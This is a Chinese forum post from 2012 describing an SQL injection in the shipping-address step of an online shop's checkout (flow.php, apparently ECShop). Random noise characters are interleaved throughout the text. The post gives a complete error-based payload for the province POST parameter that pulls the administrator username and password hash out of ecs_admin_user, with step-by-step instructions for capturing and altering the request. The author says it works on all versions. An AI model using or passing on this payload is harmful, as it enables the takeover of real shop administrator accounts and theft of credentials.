感谢欠杀的黑盒9 \5 V: Z# g" U6 G$ t
6 Y! r) w, t. j5 G/ ]
7 v+ C6 S) S& c1 h3 ?
把任意商品加入购物车在填写配送地址那一页，有地区选择
! i( d# J# I2 _+ S) d( @
( l. O q5 ^$ a M% wflow.php?step=consignee&direct_shopping=1
' K5 x: R$ ^! ]4 C3 \比如省选择安徽
, h$ w5 E4 f" \' t8 S/ K+ @8 X
% u: g/ o5 D* x' z$ i7 r, E其中POST数据如下3 P7 V: P9 L. J7 p; i* r9 X& K9 w
2 D" q$ y9 t# p- w! _0 r k" m: v
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3, O" O% z3 B" q. j; B
改成
% T% Q0 W. {! r* | 2 b- _' [4 b) n) c: d! n+ b/ {5 t
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
3 N. p5 T. K: _; g/ o) f d! Cps：详细的方法，用火狐tamper data插件……..即可改post内容…..
) ?! ~+ l( U$ D% a3 ~
, }+ Z; {+ c, ?' G; Q7 g+ }; V先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包
1 f. |" W" l) V& ^" d0 m ( ?( `# [+ q3 v. b& C+ O) r
就会回显错误页面了。。。。# s/ L/ H' r# I/ ~. m- n0 r1 p& O" z
% Z4 H' F3 p/ j+ [4 P我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的0 N8 o" U3 S! N" t- s
|
发表于 2012-12-31 09:19:27
收藏
支持
反对